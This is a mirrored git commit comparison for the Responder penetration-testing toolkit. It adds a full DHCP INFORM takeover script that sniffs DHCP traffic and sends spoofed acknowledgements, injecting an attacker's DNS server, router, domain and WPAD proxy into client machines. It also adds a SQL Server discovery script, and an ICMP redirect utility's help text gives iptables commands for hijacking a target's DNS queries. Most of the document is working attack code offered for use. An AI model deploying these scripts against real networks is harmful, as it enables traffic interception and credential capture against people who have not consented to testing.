mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-06 12:41:31 +00:00
Compare commits
13 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
235f0fa8ae | ||
|
|
0660cc2fe7 | ||
|
|
823915fe44 | ||
|
|
5c9fec923c | ||
|
|
4558861ce2 | ||
|
|
af30d21908 | ||
|
|
a21aaf7987 | ||
|
|
2e4ed61bba | ||
|
|
365505f95c | ||
|
|
1c79bedac9 | ||
|
|
dcede0fdf5 | ||
|
|
c97a13c1bd | ||
|
|
f377326d96 |
@@ -1,4 +1,9 @@
|
|||||||
ChangeLog Responder 2.0:
|
ChangeLog Responder 2.0.8:
|
||||||
|
- Removed: Old style options (On/Off). Just use -r instead of -r On.
|
||||||
|
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
|
||||||
|
- Added: In-scope llmnr/nbt-ns name option
|
||||||
|
- Added: Kerberos hash support
|
||||||
|
- Added: DHCP INFORM take over tool (DHCP.py)
|
||||||
- Added: MDNS Poisoner.
|
- Added: MDNS Poisoner.
|
||||||
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
|
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
|
||||||
- Added: Ability to inject custom HTML in HTTP responses.
|
- Added: Ability to inject custom HTML in HTTP responses.
|
||||||
|
|||||||
379
DHCP.py
Executable file
379
DHCP.py
Executable file
@@ -0,0 +1,379 @@
|
|||||||
|
#! /usr/bin/env python
|
||||||
|
# This utility is part of NBT-NS/LLMNR Responder
|
||||||
|
# Created by Laurent Gaffie
|
||||||
|
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sys,struct,socket,re,optparse,ConfigParser,os
|
||||||
|
from odict import OrderedDict
|
||||||
|
from socket import inet_aton, inet_ntoa
|
||||||
|
|
||||||
|
|
||||||
|
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
|
||||||
|
prog=sys.argv[0],
|
||||||
|
)
|
||||||
|
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||||
|
|
||||||
|
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||||
|
|
||||||
|
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||||
|
|
||||||
|
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||||
|
|
||||||
|
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||||
|
|
||||||
|
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||||
|
|
||||||
|
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||||
|
|
||||||
|
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
|
||||||
|
|
||||||
|
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||||
|
|
||||||
|
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
|
||||||
|
|
||||||
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
|
def ShowWelcome():
|
||||||
|
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
|
||||||
|
print Message
|
||||||
|
|
||||||
|
if options.OURIP is None:
|
||||||
|
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.Interface is None:
|
||||||
|
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.RouterIP is None:
|
||||||
|
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.DNSIP is None:
|
||||||
|
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.DNSIP2 is None:
|
||||||
|
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
ShowWelcome()
|
||||||
|
|
||||||
|
#Config parsing
|
||||||
|
ResponderPATH = os.path.dirname(__file__)
|
||||||
|
config = ConfigParser.ConfigParser()
|
||||||
|
config.read(os.path.join(ResponderPATH,'Responder.conf'))
|
||||||
|
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||||
|
|
||||||
|
#Setting some vars
|
||||||
|
Interface = options.Interface
|
||||||
|
OURIP = options.OURIP
|
||||||
|
ROUTERIP = options.RouterIP
|
||||||
|
NETMASK = options.Netmask
|
||||||
|
DHCPSERVER = options.OURIP
|
||||||
|
DNSIP = options.DNSIP
|
||||||
|
DNSIP2 = options.DNSIP2
|
||||||
|
DNSNAME = options.DNSNAME
|
||||||
|
WPADSRV = options.WPAD
|
||||||
|
Spoof = options.Spoof
|
||||||
|
Request = options.Request
|
||||||
|
|
||||||
|
if Spoof:
|
||||||
|
DHCPSERVER = ROUTERIP
|
||||||
|
|
||||||
|
def SpoofIP(Spoof):
|
||||||
|
if Spoof:
|
||||||
|
return ROUTERIP
|
||||||
|
else:
|
||||||
|
return OURIP
|
||||||
|
|
||||||
|
def RespondToSpecificHost(RespondTo):
|
||||||
|
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def RespondToIPScope(RespondTo, ClientIp):
|
||||||
|
if ClientIp in RespondTo:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
|
||||||
|
#####################################################################
|
||||||
|
# Server Stuff
|
||||||
|
#####################################################################
|
||||||
|
|
||||||
|
class IPHead(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x45"),
|
||||||
|
("DiffServices", "\x00"),
|
||||||
|
("TotalLen", "\x00\x00"),
|
||||||
|
("Ident", "\x00\x00"),
|
||||||
|
("Flags", "\x00\x00"),
|
||||||
|
("TTL", "\x40"),
|
||||||
|
("Protocol", "\x11"),
|
||||||
|
("Checksum", "\x00\x00"),
|
||||||
|
("SrcIP", ""),
|
||||||
|
("DstIP", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
class UDP(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("SrcPort", "\x00\x43"),
|
||||||
|
("DstPort", "\x00\x44"),
|
||||||
|
("Len", "\x00\x00"),
|
||||||
|
("Checksum", "\x00\x00"),
|
||||||
|
("Data", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
|
||||||
|
|
||||||
|
class DHCPACK(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MessType", "\x02"),
|
||||||
|
("HdwType", "\x01"),
|
||||||
|
("HdwLen", "\x06"),
|
||||||
|
("Hops", "\x00"),
|
||||||
|
("Tid", "\x22\x1b\xe0\x1a"),
|
||||||
|
("ElapsedSec", "\x00\x00"),
|
||||||
|
("BootpFlags", "\x00\x00"),
|
||||||
|
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("NextServerIP", "\x00\x00\x00\x00"),
|
||||||
|
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||||
|
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||||
|
("ClientMacPadding", "\x00" *10),
|
||||||
|
("ServerHostname", "\x00" * 64),
|
||||||
|
("BootFileName", "\x00" * 128),
|
||||||
|
("MagicCookie", "\x63\x82\x53\x63"),
|
||||||
|
("DHCPCode", "\x35"), #DHCP Message
|
||||||
|
("DHCPCodeLen", "\x01"),
|
||||||
|
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||||
|
("Op54", "\x36"),
|
||||||
|
("Op54Len", "\x04"),
|
||||||
|
("Op54Str", ""), #DHCP Server
|
||||||
|
("Op51", "\x33"),
|
||||||
|
("Op51Len", "\x04"),
|
||||||
|
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
|
||||||
|
("Op1", "\x01"),
|
||||||
|
("Op1Len", "\x04"),
|
||||||
|
("Op1Str", ""), #Netmask
|
||||||
|
("Op15", "\x0f"),
|
||||||
|
("Op15Len", "\x0e"),
|
||||||
|
("Op15Str", DNSNAME), #DNS Name
|
||||||
|
("Op3", "\x03"),
|
||||||
|
("Op3Len", "\x04"),
|
||||||
|
("Op3Str", ""), #Router
|
||||||
|
("Op6", "\x06"),
|
||||||
|
("Op6Len", "\x08"),
|
||||||
|
("Op6Str", ""), #DNS Servers
|
||||||
|
("Op252", "\xfc"),
|
||||||
|
("Op252Len", "\x04"),
|
||||||
|
("Op252Str", WPADSRV), #Wpad Server.
|
||||||
|
("Op255", "\xff"),
|
||||||
|
("Padding", "\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||||
|
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||||
|
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||||
|
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||||
|
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||||
|
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||||
|
|
||||||
|
class DHCPInformACK(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MessType", "\x02"),
|
||||||
|
("HdwType", "\x01"),
|
||||||
|
("HdwLen", "\x06"),
|
||||||
|
("Hops", "\x00"),
|
||||||
|
("Tid", "\x22\x1b\xe0\x1a"),
|
||||||
|
("ElapsedSec", "\x00\x00"),
|
||||||
|
("BootpFlags", "\x00\x00"),
|
||||||
|
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("NextServerIP", "\x00\x00\x00\x00"),
|
||||||
|
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||||
|
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||||
|
("ClientMacPadding", "\x00" *10),
|
||||||
|
("ServerHostname", "\x00" * 64),
|
||||||
|
("BootFileName", "\x00" * 128),
|
||||||
|
("MagicCookie", "\x63\x82\x53\x63"),
|
||||||
|
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||||
|
("Op54", "\x36"),
|
||||||
|
("Op54Len", "\x04"),
|
||||||
|
("Op54Str", ""), #DHCP Server
|
||||||
|
("Op1", "\x01"),
|
||||||
|
("Op1Len", "\x04"),
|
||||||
|
("Op1Str", ""), #Netmask
|
||||||
|
("Op15", "\x0f"),
|
||||||
|
("Op15Len", "\x0e"),
|
||||||
|
("Op15Str", DNSNAME), #DNS Name
|
||||||
|
("Op3", "\x03"),
|
||||||
|
("Op3Len", "\x04"),
|
||||||
|
("Op3Str", ""), #Router
|
||||||
|
("Op6", "\x06"),
|
||||||
|
("Op6Len", "\x08"),
|
||||||
|
("Op6Str", ""), #DNS Servers
|
||||||
|
("Op252", "\xfc"),
|
||||||
|
("Op252Len", "\x04"),
|
||||||
|
("Op252Str", WPADSRV), #Wpad Server.
|
||||||
|
("Op255", "\xff"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||||
|
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||||
|
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||||
|
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||||
|
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||||
|
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||||
|
|
||||||
|
def ParseMac(data):
|
||||||
|
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
|
||||||
|
|
||||||
|
def IsUDP(data):
|
||||||
|
if data[0][23:24] == "\x11":
|
||||||
|
return True
|
||||||
|
if data[0][23:24] == "\x06":
|
||||||
|
return False
|
||||||
|
|
||||||
|
def ParseSrcDSTAddr(data):
|
||||||
|
SrcIP = inet_ntoa(data[0][26:30])
|
||||||
|
DstIP = inet_ntoa(data[0][30:34])
|
||||||
|
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||||
|
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||||
|
return SrcIP,SrcPort,DstIP,DstPort
|
||||||
|
|
||||||
|
def FindIP(data):
|
||||||
|
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||||
|
return ''.join(IP[0:4])
|
||||||
|
|
||||||
|
def ParseDHCPCode(data):
|
||||||
|
PTid = data[4:8]
|
||||||
|
Seconds = data[8:10]
|
||||||
|
CurrentIP = inet_ntoa(data[12:16])
|
||||||
|
RequestedIP = inet_ntoa(data[16:20])
|
||||||
|
MacAddr = data[28:34]
|
||||||
|
OpCode = data[242:243]
|
||||||
|
RequestIP = data[245:249]
|
||||||
|
if OpCode == "\x08":
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
|
||||||
|
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(CurrentIP,68))
|
||||||
|
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
|
||||||
|
if OpCode == "\x03":
|
||||||
|
if Request:
|
||||||
|
IP = FindIP(data)
|
||||||
|
if IP:
|
||||||
|
IPConv = inet_ntoa(IP)
|
||||||
|
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||||
|
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
if RespondToSpecificHost(RespondTo) == False:
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||||
|
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
|
||||||
|
if OpCode == "\x01":
|
||||||
|
if Request:
|
||||||
|
IP = FindIP(data)
|
||||||
|
if IP:
|
||||||
|
IPConv = inet_ntoa(IP)
|
||||||
|
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||||
|
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
if RespondToSpecificHost(RespondTo) == False:
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||||
|
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def SendDHCP(packet,Host):
|
||||||
|
Protocol = 0x0800
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||||
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||||
|
s.sendto(packet, Host)
|
||||||
|
|
||||||
|
def SniffUDPMac():
|
||||||
|
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||||
|
Protocol = 0x0800
|
||||||
|
s.bind((Interface, Protocol))
|
||||||
|
while True:
|
||||||
|
data = s.recvfrom(65535)
|
||||||
|
if IsUDP(data):
|
||||||
|
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
|
||||||
|
if SrcPort == 67 or DstPort == 67:
|
||||||
|
Message = ParseDHCPCode(data[0][42:])
|
||||||
|
if Message:
|
||||||
|
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
|
||||||
|
print Message
|
||||||
|
|
||||||
|
|
||||||
|
SniffUDPMac()
|
||||||
39
FindSQLSrv.py
Executable file
39
FindSQLSrv.py
Executable file
@@ -0,0 +1,39 @@
|
|||||||
|
#! /usr/bin/env python
|
||||||
|
# Created by Laurent Gaffie
|
||||||
|
# This file is part of the Responder toolkit.
|
||||||
|
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import socket
|
||||||
|
from socket import *
|
||||||
|
|
||||||
|
print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
|
||||||
|
|
||||||
|
s = socket(AF_INET,SOCK_DGRAM)
|
||||||
|
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||||
|
s.settimeout(2)
|
||||||
|
s.sendto('\x02',('255.255.255.255',1434))
|
||||||
|
try:
|
||||||
|
while 1:
|
||||||
|
data, address = s.recvfrom(8092)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
print "===============================================================\nHost details:",address[0]
|
||||||
|
print data[2:]
|
||||||
|
print "===============================================================\n"
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
@@ -12,7 +12,7 @@
|
|||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
# GNU General Public License for more details.
|
# GNU General Public License for more details.
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys,socket,struct,optparse,random,pipes
|
import sys,socket,struct,optparse,random,pipes
|
||||||
@@ -43,32 +43,32 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
|
|||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if options.OURIP is None:
|
if options.OURIP is None:
|
||||||
print "-i mandatory option is missing.\n"
|
print "-i mandatory option is missing.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
if options.OriginalGwAddr is None:
|
if options.OriginalGwAddr is None:
|
||||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
if options.VictimIP is None:
|
if options.VictimIP is None:
|
||||||
print "-t mandatory option is missing, please provide a target.\n"
|
print "-t mandatory option is missing, please provide a target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
if options.Interface is None:
|
if options.Interface is None:
|
||||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
if options.ToThisHost is None:
|
if options.ToThisHost is None:
|
||||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
if options.AlternateGwAddr is None:
|
if options.AlternateGwAddr is None:
|
||||||
AlternateGwAddr = options.OURIP
|
AlternateGwAddr = options.OURIP
|
||||||
|
|
||||||
#Setting some vars.
|
#Setting some vars.
|
||||||
OURIP = options.OURIP
|
OURIP = options.OURIP
|
||||||
@@ -80,9 +80,9 @@ ToThisHost2 = options.ToThisHost2
|
|||||||
Interface = options.Interface
|
Interface = options.Interface
|
||||||
|
|
||||||
def Show_Help(ExtraHelpData):
|
def Show_Help(ExtraHelpData):
|
||||||
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
||||||
help+= ExtraHelpData
|
help+= ExtraHelpData
|
||||||
print help
|
print help
|
||||||
|
|
||||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
||||||
|
|
||||||
@@ -133,9 +133,9 @@ class ARPWhoHas(Packet):
|
|||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||||
self.fields["SenderIP"] = inet_aton(OURIP)
|
self.fields["SenderIP"] = inet_aton(OURIP)
|
||||||
|
|
||||||
#####################################################################
|
#####################################################################
|
||||||
#ICMP Redirect Packets
|
#ICMP Redirect Packets
|
||||||
@@ -165,9 +165,9 @@ class IPPacket(Packet):
|
|||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
||||||
# Calc Len First
|
# Calc Len First
|
||||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||||
@@ -186,9 +186,9 @@ class ICMPRedir(Packet):
|
|||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
#Set the values
|
#Set the values
|
||||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||||
# Then CheckSum this packet
|
# Then CheckSum this packet
|
||||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
